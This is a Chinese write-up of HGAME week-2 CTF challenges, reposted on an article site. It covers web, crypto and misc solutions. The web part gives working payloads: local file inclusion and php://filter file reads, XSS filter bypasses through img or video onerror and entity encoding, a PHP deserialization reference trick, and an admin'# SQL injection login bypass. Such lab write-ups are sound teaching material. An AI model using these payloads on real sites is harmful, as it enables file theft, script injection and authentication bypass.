HGAME-WEEK2-WRITE-UP

2023-11-21 11:50
文章标签 write week2 hgame

本文主要是介绍HGAME-WEEK2-WRITE-UP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

HGAME-WEEK2-WRITE-UP

web

Random?

vim在线改代码导致源码泄露。读一下random.php.swp

发现关键代码

$emmm =unserialize(serialize($a));
if(!is_object( $emmm)) {
die("error") ;
}
$emmm->public = random_int(0,100000000);
$emmm->secret=random_int(0,100000000);
if($emmm->public == $emmm->secret) {
echo $flag;
}
传入的emmm类的public和secret会赋予随机值。这种情况可以印地址,就可以让他们随机的值是一样的。
class emmm{
public $public;
public $secret;
}
$a=new emmm( );
$a->secret= &$a->public;
echo urlencode(serialize($a));
传入即可拿到flag

草莓社区-1

简单的LFI,直接

?mao=../flag.php拿到flag。

草莓社区-2

还是LFI,利用php伪协议读文件流

?mao=php://filter/read=convert.base64-encode/resource=../flag.php

base64解码一下拿到flag。

XSS-1

看一下过滤:

function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
return '<article>' + input+ '</article>';
}

发现可以用img

<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">

<img src=x οnerrοr=alert(1)>

xss-2

看一下过滤

function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/img/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
input = input.replace(/\>/, '_');
return '<input value="' + input + '" type="text">';
}

可以用html实体编码绕过

" type="&#x69;&#x6D;&#x61;&#x67;&#x65;" src="a" οnerrοr="alert&#40;1)

或者使用video标签

">><video src=1 οnerrοr=alert`1`>

最简单的注入

直接万能密码注入

用户名admin'#密码随便输

CRYPTO

easy rsa

题目地址:

https://pastebin.com/yB5SQdhn

matlab解一下方程,直接脚本跑一下

贴脚本:

import libnum

from Crypto.Util.number import long_to_bytes

c = 4371976065894333890314975885075127128451240983808800709698046359245834252220415066013588488225793488033803390795656718853587692177687489853479502247266771924035749805299269602527272036788769904108885493823764984982805025952459173246366939243972669582338728034363614943062106220697944193226897767645789368465460202024200438535770983989035642434091720020123447189714932941203953201421143816856602410516207702904806903435163191348277867475813985765685033173827201970396908439360218409562692753257235084893548449865848486681931258855329384534422245333790248671083002562017871712806386748477524316776702973435067495735891

n = 10385112853503545283534594498014002163302819192542881359629016178651814593394538223939733674125477453748418677846543570433509186453439897628509042367641638605796280506469598857872127102183624493512082415420093824666579257184064851925863532407038708153173813845163607930388067232852387553655027755138043051251085946275767001373277444643651026212284925970808939348126454571156523402419571304104957238600724334148041629955456548891850609245486162713434748801968838458008730625275388077430783612116161245037630984479400721315318755404657093206825883572149393481806067157147431981573823960963614146686202457034323040706001

e = 65537

q = 133933997083089702453762501404889177223101226391505098183662564932163520880840961997705471383994176453589438770453090229951122946358812891951990562931866917274839029543379127657118330152316223686977562429606765674161593995316431725070847817817971515410474392037818149046718091344525818647452862614261258250943

p = 77539034746053684621485923427812119975612066379333186124187109849041447728407846098413602773105733428368391023092694065216091918285267572895015826696139841052638816326722407574936479442873205847400304572160883362157525347684671046552636655778287167264844797530347881153376471545728177228869882730086666365807

d = libnum.invmod(e, (p - 1) * (q - 1))

m = pow(c, d, n)

print long_to_bytes(m)

 

附上一个在线分解大数n的网站

http://factordb.com/index.php

The same simple RSA

使用openssl命令读取pubkey.pem的信息,这题的详解我在我之前的文章《关于openssl命令的一些随笔》中写过了。这里不细讲。

Caesar&&Caesar

mnbr firrf ztaii af vx meteq hal jzrvbz zulaq, qhsseey onyicinbh iyvnqío phw ko esflqsee hahx
uifhtux rfgskusfn jvxu lzs somoii tbcd omd tb rbzgfvrf bji. rt gvta xzmr atjsedb ktz e miyztni ff
gkxuxp aqcul lfufsl, iyzlg cg alv bnbd vj r rvjxy sw cysty artrf moek rnb tsseg n pxk sw pbzbzlvd
fhhuij, wuwvo avrr kapxv aar xusimbil, smbe cfxomjtbfbj ixgf. hal afryr phw jo esvlrk tuom teey
gvbukj lnqdlh eazsl, hru ia ckkii tb wgkmtags moid ig ktz rvcrglhvp tb dhprk. eiskf cvae rnymeg gvx
tsetu cy teicu o yhqzll cy yexgrr zftjirg pvycd fsm bt khrwk aietf bxhv khr jbsprgr, ogk aztu o zyirt
hdkvei os dbwij aar dlxklrrkbqj tusr dsllq rbztcal bxd mevrbmpses. swkzx khrm uyslguh moi datbxa.
e yenjr ncgsl kbal rn hbmhqvd ostyh rnq gihvioj vtuhj, wuc buxioqivlh yizgxsj rs zsexyírdrg,
ibx fn n phsh guozbj hvmbblavrtvcg vj nhnh al lzmfsem grlysw alv evuaal noarxy sw tus eleinrr tsgyezwlaw
ff zovlhfnvo.

维吉尼亚解密。这里附上一个在线爆破维吉尼亚的网站。

https://www.guballa.de/vigenere-solver

violence

贴一下题目:

a = ?
b = ?
m = ?
flag = "hgame{" + m + "}"
cipher = ''
for i in m:
if96<ord(i) <123:
cipher += chr(a * (ord(i) + b - 97) % 26)
else:
cipher += i
print cipher.encode('hex')
# https://www.wikiwand.com/en/Affine_cipher flag是一个有意义的句子
# cipher = 1917090506070905195f07065f06031505195f035f0a07065f170c5f1407170205101105
典型的仿射加密,爆破一下ab。
解密脚本:
import gmpy2
a = [1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25]
c = '1917090506070905195f07065f06031505195f035f0a07065f170c5f1407170205101105'.decode('hex')
c = list(c)
def dec(a, b, c):
m = ''
for k in c:
if96<ord(k) +97<123:
m += chr((a * (ord(k) - b) % 26) + 97)
else:
m += k
m = m.split('_')
if m[3] =='a'or m[3] =='i':
print m
for i in a:
for j inrange(1, 27):
dec(int(gmpy2.invert(i, 26)), j, c)

xasr

没搞出来。

misc

咻咻咻

打开压缩包发现没密码。

那可能就是zip伪加密了。

解压出来发现是一个wav文件。那可能是wav的LSB隐写。github上找脚本。

https://ethackal.github.io/2015/10/05/derbycon-ctf-wav-steganography/

需要Ruby环境

Base64,解码得flag。

White cosmos

发现是16进制09和20,上次pwnhub密码学专场做了一个类似的(还被我拿到了pwnhub邀请码233333),不过不知道为啥这次我拿我脚本跑不出来了,后来才发现直接转16进制,再转字符串就行了。

只要把09和20分别替换成0和1就行直接贴解密脚本:

# !/usr/bin/python
# coding=utf-8s='09092009 20202020 09092020 09090920 09092020 20200920 09092009 09200920 09092020 09200920 09090909 20090920 09200920 09090920 09092020 09200920 09092009 09202020 09092020 20090920 20090920 20202020 09092009 09200920 09092020 09200920 09200909 09090920 20090920 20092020 09200909 09090920 09200920 09090920 09092009 20202020 09202009 20200920 09090920 09202020 09092020 09200920 09200909 09090920 09090920 20090920 09090920 20202020 20090920 09202020 09092020 20090920 09092020 09200920 09090909 092009'temp = ((s.replace('09','1')).replace('20', '0')).split()
temp = "".join(temp)print hex(int(temp,2))

easy password

给出密码是小写字母和数字了,直接爆破压缩包密码。得flag。

mysterious file header

发现是class文件,拿DJ Java Decompiler反编译出java代码。

/*
 * Decompiled with CFR 0_123.
 */
package GUI;import java.awt.Component;
import java.awt.GridLayout;
import java.awt.LayoutManager;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JTextArea;public class hgameGUI
        extends JFrame {
    private static final int DEFAULT_WIDTH = 300;
    private static final int DEFAULT_HEIGHT = 200;    public hgameGUI() {
        super("Welcome to Hgame!");
        this.setSize(300, 200);
        JButton flag1 = new JButton("i'm flag");
        JButton flag2 = new JButton("i'm flag, too.");
        JButton flag3 = new JButton("RU kidding me? I'm the true flag!");
        JButton flag4 = new JButton("UR wrong, I'm the true flag!");
        JTextArea flagtext = new JTextArea("Want flag? Try upstairs.");
        JPanel flag = new JPanel();
        flag.setLayout(new GridLayout(5, 1));
        flag.add(flag1);
        flag.add(flag2);
        flag.add(flag3);
        flag.add(flag4);
        flag.add(flagtext);
        flag1.addActionListener(event -> {
                    flagtext.setText("118");
                }
        );
        flag2.addActionListener(event -> {
                    flagtext.setText("54");
                }
        );
        flag3.addActionListener(event -> {
                    flagtext.setText("29");
                }
        );
        flag4.addActionListener(event -> {
                    flagtext.setText("89");
                }
        );
        this.add(flag);
    }
}

发现四个数字,不知道什么鬼东西,后来看到hint,web手就知道是什么,web?莫非是ip?好吧,头铁一个一个试ip,总共24种情况。

最后在118.29.89.54里面找到flag。

week2 over!

 

 

 

这篇关于HGAME-WEEK2-WRITE-UP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/402170

相关文章

吴恩达机器学习 第三课 week2 推荐算法(上)

目录 01 学习目标 02 推荐算法 2.1 定义       2.2 应用 2.3 算法 03 协同过滤推荐算法 04 电影推荐系统 4.1 问题描述 4.2 算法实现 05 总结 01 学习目标      (1)了解推荐算法      (2)掌握协同过滤推荐算法(Collaborative Filtering Recommender Algorithm)原理

github 报错 git fatal: unable to write new index file

错误一:git fatal: unable to write new index file主要原因就是服务器磁盘空间不够导致的,增加服务器空间就OK了在百度上面搜索没得到什么有效信息,在gooogle上搜索得到很多有效信息 Finding large directories with something like the following helped clean up some log fi

调用FileOutputStream中的三种write方式

package fileoutputstream;import java.io.FileOutputStream;import java.io.IOException;//import java.io.OutputStream;public class FileOutputStreamDemo2 {public static void main(String[] args) throws I

document.write()方法总结

document.write()方法总结 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿!document.write()方法是JavaScript中用于向HTML文档写入内容的方法之一。它允许我们在HTML文档加载过程中动态生成内容,包括文本、HTML标记和JavaScript代码等。 用法 document.write()

epoll 的accept , read, write

在一个非阻塞的socket上调用read/write函数, 返回EAGAIN或者EWOULDBLOCK(注: EAGAIN就是EWOULDBLOCK) 从字面上看, 意思是: * EAGAIN: 再试一次 * EWOULDBLOCK: 如果这是一个阻塞socket, 操作将被block * perror输出:  Resource temporarily unavailable

从零到一学FFmpeg:av_interleaved_write_frame 函数详析与实战

文章目录 前言一、函数原型二、功能描述三、使用场景四、使用实例 前言 av_interleaved_write_frame是FFmpeg库中的一个函数,用于将一个已编码的媒体数据包(AVPacket)写入到输出媒体文件或流中。 此函数特别关注于维护正确的交错(interleaving)顺序,即确保视频和音频帧按照它们应该播放的顺序被写入,这对于生成可正确播放的多媒体文件至关重

内核缓存区和write行为

应用缓冲技术能很明显的提高系统效率。内核与外围设备的数据交换,内核与用户空间的数据交换都是比较费时的,使用缓冲区就是为了优化这些费时的操作。其实核心到用户空间的操作本身是不buffer的,是由I/O库用buffer来优化了这个操作。比如read本来从内核读取数据时是比较费时的,所以一次取出一块,以避免多次陷入内核。       内核缓冲区的 主要思想就是一次读入大量的数据放在缓冲区,需要的时候

python write出现 Non-character array cannot be interpreted as character buffer.

比如z是一个数字 out.wirte(z)报错 那么out.wirte(str(z))

JRebel-JVMTI [FATAL] Couldn‘t write to C:\Users\中文用户名-完美解决

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 热部署下载参考博客解决第一步第二步第三步:第四步: 热部署下载 下载后启动报错:JRebel-JVMTI [FATAL] Couldn’t write to C:\Users\中文用户名 参考博客 https://blog.csdn.net/qq_31482033/article/det

FFmpeg源码分析:写音视频帧av_write_frame()

FFmpeg在libavformat模块提供音视频的muxer封装与demuxer解封装。其中muxer封装文件包括avformat_write_header()、av_write_frame()和av_write_trailer()。本文主要探讨av_write_frame函数如何写入音视频帧数据,包括音视频交错与音视频非交错两种情况。 av_write_frame函数位于libavforma